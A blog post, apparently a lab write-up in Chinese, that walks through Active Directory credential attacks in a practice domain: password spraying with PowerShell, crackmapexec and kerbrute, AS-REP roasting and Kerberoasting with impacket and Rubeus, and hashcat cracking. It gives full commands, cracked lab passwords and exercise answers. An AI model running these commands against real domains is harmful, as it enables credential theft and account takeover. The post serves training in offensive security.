Active Directory 身分驗證攻擊 (1)

 Active Directory 身分驗證攻擊 (1)


密碼攻擊

net accounts 先看一下網域內的密碼鎖定原則,才能避免暴力破解密碼攻擊造成帳號鎖定




$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

$PDC = ($domainObj.PdcRoleOwner).Name

$SearchString = "LDAP://"

$SearchString += $PDC + "/"

$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"

$SearchString += $DistinguishedName

New-Object System.DirectoryServices.DirectoryEntry($SearchString, "pete", "Nexus123!")

如果使用者帳戶的密碼正確,則物件建立將會成功


密碼錯誤出現如下畫面


format-default : The following exception occurred while retrieving member "distinguishedName": "The user name or
password is incorrect.
"
    + CategoryInfo          : NotSpecified: (:) [format-default], ExtendedTypeSystemException
    + FullyQualifiedErrorId : CatchFromBaseGetMember,Microsoft.PowerShell.Commands.FormatDefaultCommand





使用密碼噴灑攻擊 Script ".\Spray-Passwords.ps1"




執行該 Script 針對網域內的帳號測試密碼 Nexus123!

獲得了 pete & jen 的密碼都是 Nexus123!





接下來針對 AD 使用者的密碼噴射攻擊利用 SMB,這是 AD 中密碼攻擊的傳統方法之一,並且存在一些缺點。例如,對於每次身份驗證嘗試,都必須設定完整的 SMB 連接,然後終止。因此,這種密碼攻擊由於產生的網路流量而非常吵雜。與其他技術相比,它也相當緩慢

可以直接在 Kali 上使用 crackmapexec 來執行這種密碼噴射

先建立一組使用者帳號清單檔案,名稱為 user.txt,執行 cat users.txt 包含三個帳號





接著使用指令 crackmapexec 與 SMB 協定,並指定使用者名稱檔案與特定密碼進行

crackmapexec smb 192.168.242.75 -u user.txt -p 'Nexus123!' -d corp.com --continue-on-success

可以看到 - 是不成功,+ 是成功,目前僅有 dave 的帳號是不成功





接著讓我們針對帳號 dave 與使用密碼 Flowers1 最同樣的動作

指令 └─$ crackmapexec smb 192.168.242.75 -u dave -p 'Flowers1' -d corp.com

可以看到這一次成功了如下,後面出現了 (Pwn3d!) 除了密碼有效外又表示了有管理者權限





將使用的第三種密碼噴射攻擊是基於取得 TGT。例如,在 Linux 系統上使用 kinit ,我們可以獲得並快取Kerberos TGT。我們需要提供使用者名稱和密碼才能執行此操作,如果憑證有效,我們將獲得 TGT。此技術的優點是它僅使用兩個 UDP 訊框來確定密碼是否有效,因為它僅發送 AS-REQ 並檢查回應,Windows 上可以使用 kerbrute 工具,我們一樣在 Windows 上面建立一個使用者清單名稱為 usernames.txt 並包含剛剛的三位使用者





指令 .\kerbrute_windows_amd64.exe passwordspray -d corp.com .\usernames.txt "Nexus123!"

kerbrute 確認了密碼 Nexus123!對使用者 pete 和 jen 有效




對於 crackmapexec 和 kerbrute,我們必須提供使用者名稱清單。要取得所有網域使用者的列表,我們可以利用在 Active Directory 簡介和枚舉模組中學到的技術 ,或使用這兩個工具的內建使用者枚舉功能。這些技術是在 AD 上下文中取得有效憑證的好方法,特別是在帳戶策略中沒有設定鎖定閾值的情況下,一旦有鎖定帳號的條件下要避免暴力攻擊的方式


練習 : 使用crackmapexec將pete的憑證噴灑到所有加入網域的電腦上。pete是哪一台電腦上的本機管理員?

使用指令 └─$ crackmapexec smb 192.168.242.74 -u pete -p 'Nexus123!' -d corp.com

開始對 74/75/76 進行測試,發現 76 拿到 (Pwn3d!)





AS-REP Roasting

前提已知一組使用者帳號密碼,使用指令

└─$ impacket-GetNPUsers -dc-ip 192.168.205.70  -request -outputfile hashes.asreproast corp.com/pete

輸入已知使用者 pete 的密碼 Nexus123! 獲得 dave 的 HASH

下圖顯示 dave 使用者帳戶選項 "不需要啟用 Kerberos 預先驗證",表示容易受到 AS-REP Roasting 的攻擊




預設情況下,impacket-GetNPUsers 產生的雜湊格式與 Hashcat 相容,所以先查一下 Hashcat 針對 Kerberos AS-REP 的 mode 格式,指令 hashcat --help | grep -i "Kerberos",找到格式是 18200




將剛剛收到的 hash 檔案 "hashes.asreproast" 進行雜湊比對破解,指令 sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

一樣使用 rockyou.txt 密碼字典檔搭配 best64.rule 來破解,得到密碼 Flowers1




練習 : 執行 AS-REP Roasting 來獲取另一個明文密碼

已知使用者帳號密碼 pete / Nexus123! 執行 └─$ impacket-GetNPUsers -dc-ip 192.168.205.70  -request -outputfile hashes.asreproast corp.com/pete                         

發現有兩個使用者帳號 dave & jen  "不需要啟用 Kerberos 預先驗證"

執行 hashcat 進行雜湊破解,密碼 Summerland1




上述是在 kali 上執行 impacket-GetNPUsers ,另一種獲取 AS-REP Roasting 的方式是在 Windows 上執行,透過 Rubeus.exe 來獲取 "不需要啟用 Kerberos 預先驗證" 的帳號如下

指令 .\Rubeus.exe asreproast /nowrap




將 hash 值 COPY 到 kali 用一樣用 hashcat 破解

COPY 過來產生一個檔案取名為 rubeus.hash




一樣 hashcat 試試看,指令 sudo hashcat -m 18200 rubeus.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

破解出來了,結果一樣




還有一個方式可以獲取 AD 網域中 "不需要啟用 Kerberos 預先驗證"  的用戶,透過 PowerView 中的 Get-DomainUser 搭配參數 -PreauthNotRequired 來列舉使用者




上圖中可以看到只能列舉使用者無法獲取該使用者的 hash,所以該方法是快速得知使用者訊息而已,一般不建議使用,且是緊要使用者帳號而已,故一般可以輸出加上 cn 快速列舉即可

指令 Get-DomainUser -PreauthNotRequired | select cn




另外如果對另一個 AD 使用者帳戶擁有 GenericWrite 或 GenericAll 權限。使用這些權限,我們可以重設他們的密碼,但這會阻止使用者存取該帳戶。我們也可以利用這些權限來修改使用者的使用者帳戶控制值,以便不需要 Kerberos 預先驗證,在 AD 帳號的選項中如下圖所示

可以參考 https://blog.netwrix.com/2022/11/03/cracking_ad_password_with_as_rep_roasting/



使用 Rubeus.exe 然後將輸出緊抓取 hash 並寫入檔案

指令 .\Rubeus.exe asreproast /format:hashcat /outfile:C:\Tools\hashes.txt






Kerberos Roasting

當使用者想要存取由服務主體名稱 (SPN) 託管的資源時,用戶端會要求由網域控制站產生的服務票證。然後,服務票證由應用程式伺服器解密和驗證,因為它是透過 SPN 的密碼雜湊加密的。 當從網域控制器要求服務票證時,不會執行任何檢查來確認使用者是否有權存取 SPN 託管的服務。 只有連接到服務本身時,才會作為第二步驟執行這些檢查。這意味著,如果我們知道要定位的 SPN,我們可以向網域控制器要求其服務票證。 服務票證使用 SPN 的密碼雜湊進行加密。如果我們能夠要求票證並使用暴力或猜測對其進行解密,我們就可以使用此資訊來破解服務帳戶的明文密碼。這種技術稱為 Kerberoasting。

這裡我們一樣採用 Rubeus.exe 這個工具,但這一次使用來請求確認 kerberoast

指令 .\Rubeus.exe kerberoast /outfile:hashes.kerberoast

詳細介紹 https://blog.harmj0y.net/redteaming/kerberoasting-revisited/




上圖中執行完畢後告訴我們 hash 存放在 C:\Tools\hashes.kerberoast,type 看一下內容如下

Rubeus 識別出一個容易受到 Kerberoasting 攻擊的使用者帳戶是 iis_service 這個 SPN 服務帳號




一樣先 COPY 到 kali 建立一個檔案名稱一樣的為 hashes.kerberoast




查一下 hashcat 的 mode 格式,指令 hashcat --help | grep -i "Kerberos"

TGS-REP 有兩個,這裡要用的是 13100 這一個




一樣的動作 hashcat 破解吧,指令 sudo hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force




練習 : 執行 Kerberoasting 來取得另一個明文密碼,並將其輸入作為本練習的答案。要破解 TGS-REP 哈希,請建立並使用一個規則文件,該文件將「1」添加到rockyou.txt的密碼中


執行 .\Rubeus.exe kerberoast /outfile:hashes.kerberoast,結果帳號是 pete



要在原有的 rockyou.txt 後面都加上 1 那就先建立一個 rule 檔案稱為 customer.rule

內容是 "$1",開始破解吧,指令 └─$ sudo hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r ./customer.rule --force                      




獲得答案啦是 MattLovesAutumn1




留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)